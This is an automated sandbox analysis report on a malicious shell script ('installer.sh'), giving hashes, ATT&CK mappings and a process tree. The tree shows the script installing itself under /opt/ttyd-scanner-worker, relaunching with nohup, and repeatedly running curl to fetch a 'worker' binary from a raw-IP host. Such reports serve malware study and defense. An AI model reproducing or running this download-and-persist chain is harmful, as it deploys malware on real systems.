8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3

Analysis

max time kernel
22s
max time network
21s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
19/08/2026, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
Size 12KB
Sample260819-dmlevscf93
SHA256 8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
MD5 48a0eff45f191a6e300368565a412d55
SHA1 4de34e0f692e95f1ab8f7b4bd1f3bac8c1282043
SHA512 5128c2f8a00932bfc7b0ca63bd72d1de8a626a73e27fa79c54265ff0b0e3deb7763e16eb89185a952e304153ea850e695e34ef18432ba262254ff2084026e6e0
SSDEEP 192:NIMA43oioxOGNHVNOkHsK8A3hp+oYLHCnRpyHNhGn48sGspfq:NIMExHH8noXn88tR
TLSH
T12F4274B1D62408757568CC2D973B2D14388B353AF2A920A0B49EF8CD3FFD254EA26775
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
735	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/71/cmdline	pkill
File opened for reading	/proc/124/status	pkill
File opened for reading	/proc/329/cmdline	pkill
File opened for reading	/proc/710/status	pkill
File opened for reading	/proc/148/cmdline	pkill
File opened for reading	/proc/327/status	pkill
File opened for reading	/proc/718/cmdline	pkill
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/73/status	pkill
File opened for reading	/proc/116/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/69/cmdline	pkill
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/330/status	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/82/cmdline	pkill
File opened for reading	/proc/84/cmdline	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/676/status	pkill
File opened for reading	/proc/700/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/69/status	pkill
File opened for reading	/proc/79/cmdline	pkill
File opened for reading	/proc/710/cmdline	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/82/status	pkill
File opened for reading	/proc/159/status	pkill
File opened for reading	/proc/237/cmdline	pkill
File opened for reading	/proc/667/cmdline	pkill
File opened for reading	/proc/738/cmdline	pkill
File opened for reading	/proc/37/cmdline	pkill
File opened for reading	/proc/84/status	pkill
File opened for reading	/proc/237/status	pkill
File opened for reading	/proc/674/cmdline	pkill
File opened for reading	/proc/745/cmdline	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/70/cmdline	pkill
File opened for reading	/proc/366/cmdline	pkill
File opened for reading	/proc/738/status	pkill
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/367/cmdline	pkill
File opened for reading	/proc/713/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/75/status	pkill
File opened for reading	/proc/81/cmdline	pkill
File opened for reading	/proc/702/status	pkill
File opened for reading	/proc/745/status	pkill

/tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
/tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:711

/usr/local/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:711

/usr/local/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:711

/usr/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:711

/usr/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:711

/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:711

/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:711
- /usr/bin/id
  id -u
  2⤵
  PID:717
- /usr/bin/awk
  awk "/MemAvailable/ {print \$2; exit}" /proc/meminfo
  2⤵
  PID:724
- /usr/bin/nproc
  nproc
  2⤵
  PID:728
- /bin/mkdir
  mkdir -p /opt/ttyd-scanner-worker
  2⤵
  PID:730
- /bin/cp
  cp /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3 /opt/ttyd-scanner-worker/installer.sh
  2⤵
  PID:733
- /bin/chmod
  chmod +x /opt/ttyd-scanner-worker/installer.sh
  2⤵
  - File and Directory Permissions Modification
  PID:735

/usr/bin/nohup
nohup bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:738

/usr/local/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:738

/usr/local/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:738

/usr/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:738

/usr/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:738

/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:738

/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:738
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:741
- /usr/bin/awk
  awk "/MemAvailable/ {print \$2; exit}" /proc/meminfo
  2⤵
  PID:743
- /usr/bin/nproc
  nproc
  2⤵
  PID:747
- /bin/mkdir
  mkdir -p /opt/ttyd-scanner-worker
  2⤵
  PID:748
- /usr/bin/pkill
  pkill -9 -f /opt/ttyd-scanner-worker/worker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:750
- /bin/sleep
  sleep 0.5
  2⤵
  PID:752
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Reads runtime system information
  PID:757
- /bin/sleep
  sleep 3
  2⤵
  PID:758
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:775
- /bin/sleep
  sleep 3
  2⤵
  PID:780
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Reads runtime system information
  PID:806
- /bin/sleep
  sleep 3
  2⤵
  PID:807
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:834
- /bin/sleep
  sleep 3
  2⤵
  PID:839
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Reads runtime system information
  PID:840
- /bin/sleep
  sleep 3
  2⤵
  PID:841

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

installer.sh

Path /opt/ttyd-scanner-worker/installer.sh
Size 12KB
SHA256 8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
MD5 48a0eff45f191a6e300368565a412d55
SHA1 4de34e0f692e95f1ab8f7b4bd1f3bac8c1282043
SHA512 5128c2f8a00932bfc7b0ca63bd72d1de8a626a73e27fa79c54265ff0b0e3deb7763e16eb89185a952e304153ea850e695e34ef18432ba262254ff2084026e6e0
SSDEEP 192:NIMA43oioxOGNHVNOkHsK8A3hp+oYLHCnRpyHNhGn48sGspfq:NIMExHH8noXn88tR
TLSH
T12F4274B1D62408757568CC2D973B2D14388B353AF2A920A0B49EF8CD3FFD254EA26775
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 321B
SHA256 503030af2e210bdc3f2f0e32936cff16972dfda990fee324cb23f9f3a61f52b1
MD5 47ed314b10627cb20d0b07cdf79052df
SHA1 ce94bf4db0e8dfdc6f3324b98c186eb4dc03c169
SHA512 5887de510233a83b094ee2fd459312b618ac67e5779cfe4a82206e3088c85e8a63095462aab1ff5232e0e123b76a6d7348b7e52c8833df86b8cea608fd44e702
TLSH
T1B1E012764C0022347650D77C73107B51938D7068B4947472F20E751513EF1A60AC76FE
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 391B
SHA256 5622515df69231e9df1bf62d54b658d9eaa3437179150b2d4b5ff178d2d64069
MD5 a4eec93a91b29099b2a80f0e8fe829fc
SHA1 a603ff4c11e486cb4227cbe2fece81fb88851ce0
SHA512 b7928c7c5b56c526864a29b4c83cb308d269739b0f0234cef185dc5de3d8737af0794f7a03d267aea36a5620ba5ef87730f0b963ee69e71c6b083d2c41abaf23
TLSH
T1A7E05B730C1125207760C7ACB3107A50824DB05874587872F10E751553DE29506C71BD
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 435B
SHA256 7ca33c63f89140d5f6ffd6e00882214ccd8ec08ed5aa2c58198005b4b3aad871
MD5 12e96ced3bda53d248841762478f7a60
SHA1 6e8cf1fdef62beae960d4692e63a4b2188d78205
SHA512 8ffaad714d772caaa138c1c1d2dd25afd341b1eed0d12ba58aa41fb83a91ff569a702f331cdd3ddeb290f260631471f5c0b3c88a13f6d75efdcb8393c61c3b46
TLSH
T196E0C2B30C212125B7A0C3ACB750BB44864CB028B4587833F10E765153EE29906DB2BD
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 574B
SHA256 f00827dd0b9b312d821a4ac464a29273d506b3a7754339b67b3ce3a3674d4e2e
MD5 4d58d6fbeb2a51a7d08515ec1b10af1c
SHA1 f9ec6df9f9731df704a5f1bd43ac59ffccd8052d
SHA512 a77cb3b8abb043905e82e82e554b5e25d3e7a7722114e47ca2c0010f2ea252ab761affb678b680e5456a028201694438b3614f2916826a9dd9f3812ab3ba4803
TLSH
T140F05C7B0C222125B260C3AC76647714C64C741435287472F10E764553EE19505E61BE
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 1021B
SHA256 dffcf1cbbb0810fbbf5a5195876c46968ca7fdca03586092589b39f6f16a0072
MD5 52c0547262f13a5a010c99afd4045937
SHA1 223149293e095bb91357b5f4d676a3767ac33f8d
SHA512 3c91c9dfd730bb737931005928e29a3075d714af9f69ae32ebaf2cd54382204ce4713249ae51f9a245528f1d1b3996b2e26786be2e4624b49b8fdcab97aadd57
TLSH
T1B711BA7D18AB12AAF230C17C71BC2325C9447E463B2681B1F00D7B4E57CDD6144F6ABA
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads